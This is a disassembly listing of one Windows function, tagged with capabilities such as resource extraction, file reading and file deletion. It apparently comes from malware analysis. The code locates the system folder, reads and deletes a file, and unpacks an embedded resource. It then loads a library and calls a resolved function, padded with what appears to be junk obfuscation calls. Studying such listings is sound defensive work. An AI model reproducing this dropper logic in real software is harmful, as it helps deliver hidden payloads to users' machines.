Function at 0x4019f0
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402ee2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x42c
movsx eax, word [0x4040a8]
movsx ecx, word [0x4040b0]
push ebx
push esi
push edi
push eax
push ecx
call fcn.00401110
mov edx, dword [0x4040d0]
push 0x9febffff
push edx
mov word [0x4040a8], ax
call fcn.00401150
mov byte [0x40409f], al
mov al, byte [ebp - 0x21]
xor esi, esi
mov byte [ebp - 0x20], al
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
movsx ecx, word [0x4040a4]
push ecx
push 0x6bd5ffff
mov dword [ebp - 4], esi
call fcn.00401040
add esp, 0x18
lea edx, [ebp - 0x438]
mov byte [0x404099], al
push edx
push esi
push esi
push 0x25
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x40228d
mov eax, dword [0x4040cc]
push eax
push 0xf889ffff
call fcn.004010d0
mov byte [0x404098], al
lea edi, [ebp - 0x438]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov ebx, ecx
lea ecx, [ebp - 0x20]
push ebx
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x401ae7
mov edi, dword [ebp - 0x1c]
mov ecx, ebx
mov edx, ecx
lea esi, [ebp - 0x438]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ebx
mov byte [eax + ebx], 0
mov al, byte [0x404080]
add al, 0x30
and eax, 0xff
add eax, 3
and al, 0xfc
call fcn.00402b50
mov ecx, esp
mov edx, 0x404080
call fcn.00402440
mov dword [ebp - 0x10], eax
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x18]
sub edx, ecx
cmp edx, esi
ja 0x401b31
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
test esi, esi
jbe 0x401b71
mov eax, dword [ebp - 0x18]
push 0
lea ecx, [ebp - 0x20]
lea ebx, [eax + esi]
push ebx
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x401b71
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
lea edi, [ecx + edx]
mov ecx, esi
mov esi, dword [ebp - 0x10]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ebx
mov byte [ecx + ebx], 0
push 0xfffffff
push 0xd1dffff
call fcn.00401090
movsx edx, byte [0x40409a]
push 0x77cbffff
push edx
mov byte [0x40409c], al
call fcn.004010d0
mov byte [0x40409a], al
movsx eax, byte [0x40409e]
push eax
push 0x8c53ffff
call fcn.004011d0
mov cl, byte [0x4040a4]
xor edi, edi
mov dword [0x4040c8], eax
mov word [0x4040b0], ax
dec cl
mov edx, edi
lea eax, [ebp - 0x38]
mov dword [ebp - 0x28], edi
setne dl
push eax
mov byte [0x4040a0], cl
mov word [0x4040ae], dx
call fcn.00401630
add esp, 0x1c
mov eax, dword [ebp - 0x30]
mov cl, byte [0x4040bc]
cmp eax, edi
mov byte [ebp - 4], 1
mov byte [0x404098], cl
jbe 0x401ddb
movsx dx, byte [0x40409e]
mov eax, dword [0x4040d0]
mov esi, dword [0x4040d8]
mov ecx, eax
mov word [0x4040b2], ax
mov eax, dword [ebp - 0x34]
or edx, esi
or ecx, 0x1ea3ffff
cmp eax, edi
mov word [0x4040a8], dx
mov dword [0x4040bc], ecx
jne 0x401c3b
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, dword [0x4040c0]
mov esi, eax
push edx
push 0xa1f5ffff
call fcn.00401090
push 0x97c9ffff
push 0xe051ffff
mov dword [0x4040b8], eax
call fcn.00401000
mov dl, byte [0x4040d4]
mov word [0x4040a6], ax
add esp, 0x10
sub al, dl
cmp esi, 0xffffffff
mov byte [0x40409b], al
mov word [0x4040ae], 0xfffe
je 0x401de0
movsx eax, byte [0x4040a0]
movsx ecx, byte [0x40409a]
mov edx, dword [0x4040cc]
sub ecx, eax
movsx eax, word [0x4040ac]
push edx
push eax
mov dword [0x4040c4], ecx
mov byte [0x40409a], 1
call fcn.00401110
movsx ecx, word [0x4040aa]
add esp, 8
sub ecx, 0x71200001
mov dword [0x4040d0], eax
mov dword [0x4040c8], ecx
push 2
push edi
push 0xfffffffffffffffc
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401da0
movsx edx, byte [0x404099]
push edx
push 0x783dffff
call fcn.00401000
movsx ecx, word [0x4040b0]
mov byte [0x40409f], al
mov eax, dword [0x4040c0]
push eax
push ecx
mov dword [ebp - 0x10], edi
call fcn.00401200
push 0xcb23ffff
push 0x6d31ffff
mov dword [0x4040cc], eax
call fcn.00401000
mov dl, byte [0x4040a8]
mov bl, byte [0x4040a6]
add esp, 0x18
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x28]
sub dl, bl
push edi
push eax
push 4
push ecx
push esi
mov byte [0x40409d], dl
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401da0
cmp dword [ebp - 0x10], 4
jne 0x401da0
movsx dx, byte [0x40409d]
movsx ax, byte [0x40409b]
mov esi, dword [0x4040b8]
or edx, esi
add ax, word [0x4040a4]
mov word [0x4040aa], dx
mov word [0x4040b2], ax
jmp 0x401da6
mov ax, word [0x4040b2]
cmp ax, di
je 0x401dbb
mov eax, dword [0x4040d4]
mov byte [0x404099], 1
cmp eax, edi
jne 0x401dc2
mov byte [0x404099], 0
mov eax, dword [0x4040c4]
push 0x5f75ffff
push eax
call fcn.00401040
add esp, 8
mov word [0x4040a2], ax
mov al, byte [0x40409b]
lea ecx, [ebp - 0x438]
mov dword [0x4040c0], 0xd239fffe
neg al
push ecx
mov byte [0x4040a0], al
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [0x4040bc]
push edx
push 0x1713ffff
call fcn.00401180
mov dword [0x4040b8], eax
push 0xbf0dffff
movsx eax, byte [0x40409e]
push eax
call fcn.00401180
movsx ecx, word [0x4040a2]
movsx edx, word [0x4040ae]
add esp, 0x10
mov dword [0x4040c0], eax
mov eax, dword [0x4040d8]
add ecx, edx
push 0x40407c
dec eax
push 0x82
push edi
mov dword [0x4040d4], ecx
mov word [0x4040a2], ax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
movsx ecx, word [0x4040ac]
push 0xf199ffff
push ecx
mov esi, eax
mov dword [0x4040bc], 0x1285ffff
call fcn.004011d0
add esp, 8
cmp esi, edi
mov byte [0x40409e], al
je 0x402053
mov dl, byte [0x4040b0]
push 0x7d55ffff
dec dl
push 0x8bffffff
mov byte [0x40409c], dl
call fcn.00401040
add esp, 8
mov byte [0x404099], al
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
movsx eax, byte [0x4040a0]
push eax
push 0x90a7ffff
call fcn.00401110
mov ecx, dword [0x4040cc]
or ebx, 0xffffffff
movsx edx, byte [0x404098]
imul ecx, ecx, 0x949bffff
push 0xb7d1ffff
push edx
mov word [0x4040b0], ax
mov dword [0x4040d8], ecx
mov word [0x4040b2], bx
call fcn.00401110
add esp, 0x10
mov byte [0x40409f], al
test edi, edi
je 0x402053
mov eax, dword [0x4040d8]
mov word [0x4040aa], bx
push eax
push 0x25e3ffff
call fcn.00401040
add esp, 8
mov dword [0x4040d4], eax
mov byte [0x404098], 0xff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
movsx ecx, byte [0x40409c]
push ecx
push 0xb5afffff
mov ebx, eax
call fcn.00401040
add esp, 8
mov byte [0x40409b], al
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov word [0x4040aa], 0xffff
test esi, esi
je 0x402022
movsx edx, word [0x4040ae]
movsx eax, word [0x4040a8]
push edx
push eax
call fcn.00401180
movsx ecx, byte [0x40409a]
mov edx, dword [0x4040cc]
push ecx
push edx
mov byte [0x40409e], al
call fcn.00401000
mov cl, byte [0x4040b2]
mov dl, byte [0x4040a0]
mov word [0x4040a2], ax
or al, 0xff
sub al, cl
or cl, 0xff
mov byte [0x40409b], al
mov eax, dword [ebp - 0x1c]
add esp, 0x10
sub cl, dl
test eax, eax
mov byte [0x40409d], cl
jne 0x401fdc
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov edx, dword [ebp - 0x28]
push edx
push eax
push ebx
push esi
call fcn.00401380
movsx ecx, word [0x4040b2]
mov eax, dword [0x4040c4]
push eax
push ecx
call fcn.004011d0
mov word [0x4040b0], ax
mov eax, dword [0x4040bc]
add esp, 0x18
test eax, eax
movsx ax, byte [0x40409b]
setne dl
mov byte [0x404099], dl
mov word [0x4040ac], ax
movsx ecx, byte [0x4040a0]
push 0xd96bffff
push ecx
call fcn.004010d0
add esp, 8
xor edx, edx
test eax, eax
setne dl
mov dword [0x4040b8], eax
mov dword [0x4040d0], 1
mov dword [0x4040c4], edx
movsx ax, byte [0x40409d]
mov word [0x4040ae], ax
mov byte [0x404099], 0xff
movsx eax, ax
push eax
push 0x6a5fffff
call fcn.00401180
mov ecx, dword [0x4040d0]
push 0x6f0dffff
push ecx
mov byte [0x40409f], al
call fcn.00401200
mov word [0x4040ae], ax
mov eax, dword [ebp - 0x1c]
add esp, 0x10
test eax, eax
jne 0x4020a1
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
movsx edx, word [0x4040ac]
push 0xaf75ffff
push edx
mov edi, eax
call fcn.00401090
add esp, 8
cmp word [0x4040a2], 0
mov byte [0x40409f], al
je 0x4020e1
mov eax, dword [0x4040c8]
mov dword [0x4040d4], 1
test eax, eax
jne 0x4020eb
mov dword [0x4040d4], 0
test edi, edi
je 0x402266
push 0xbf89ffff
push 0x93dbffff
call fcn.004011d0
mov dword [0x4040c4], eax
movsx eax, byte [0x404098]
push eax
push 0x9f7bffff
call fcn.00401150
movsx ecx, byte [0x404099]
mov ebx, dword [0x4040c8]
mov esi, dword [0x4040d4]
movsx dx, byte [0x40409c]
sub ecx, ebx
mov dword [0x4040c0], eax
movsx eax, word [0x4040b2]
mov dword [0x4040c8], ecx
or edx, esi
movsx ecx, byte [0x40409f]
push eax
push ecx
mov word [0x4040a8], dx
call fcn.00401090
push 0x41adffff
push eax
mov dword [0x4040bc], eax
call fcn.00401090
mov byte [0x40409b], al
movsx edx, al
movsx eax, byte [0x40409a]
push edx
push eax
call fcn.00401040
mov byte [0x40409c], al
mov al, byte [0x404068]
add al, 0x30
add esp, 0x28
and eax, 0xff
mov byte [0x40409a], 0xff
add eax, 3
and al, 0xfc
call fcn.00402b50
mov ecx, esp
mov edx, 0x404068
call fcn.00402440
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movsx ecx, word [0x4040ae]
movsx edx, word [0x4040a6]
push ecx
push edx
mov esi, eax
call fcn.004011d0
mov cl, byte [0x40409e]
mov dword [0x4040d4], eax
mov al, byte [0x40409b]
add esp, 8
or al, cl
movsx cx, al
test esi, esi
mov word [0x4040b2], cx
je 0x4021fb
call esi
push 0x4c81ffff
push 0x6807ffff
mov dword [0x4040bc], 0x54c9fffe
call fcn.00401000
add esp, 8
mov word [0x4040b0], ax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x2687ffff
push 0x1e0bffff
call fcn.004011d0
movsx edx, word [0x4040a8]
push edx
push 0xf19dffff
mov word [0x4040ae], ax
call fcn.00401200
mov cl, byte [0x4040c8]
mov word [0x4040b2], ax
mov al, byte [0x4040cc]
add esp, 0x10
or al, cl
mov byte [0x40409e], al
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x40228d
mov al, byte [ecx - 1]
test al, al
je 0x402283
cmp al, 0xff
je 0x402283
dec al
mov byte [ecx - 1], al
jmp 0x40228d
dec ecx
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
movsx edx, word [0x4040b2]
mov ecx, dword [0x4040cc]
push edx
add ecx, 0xea4e0001
push 0x2093ffff
mov dword [0x4040d4], ecx
call fcn.004010d0
mov ecx, dword [ebp - 0x1c]
add esp, 8
test ecx, ecx
mov dword [0x4040c8], eax
je 0x4022dc
mov al, byte [ecx - 1]
test al, al
je 0x4022d2
cmp al, 0xff
je 0x4022d2
dec al
mov byte [ecx - 1], al
jmp 0x4022dc
dec ecx
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x444]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret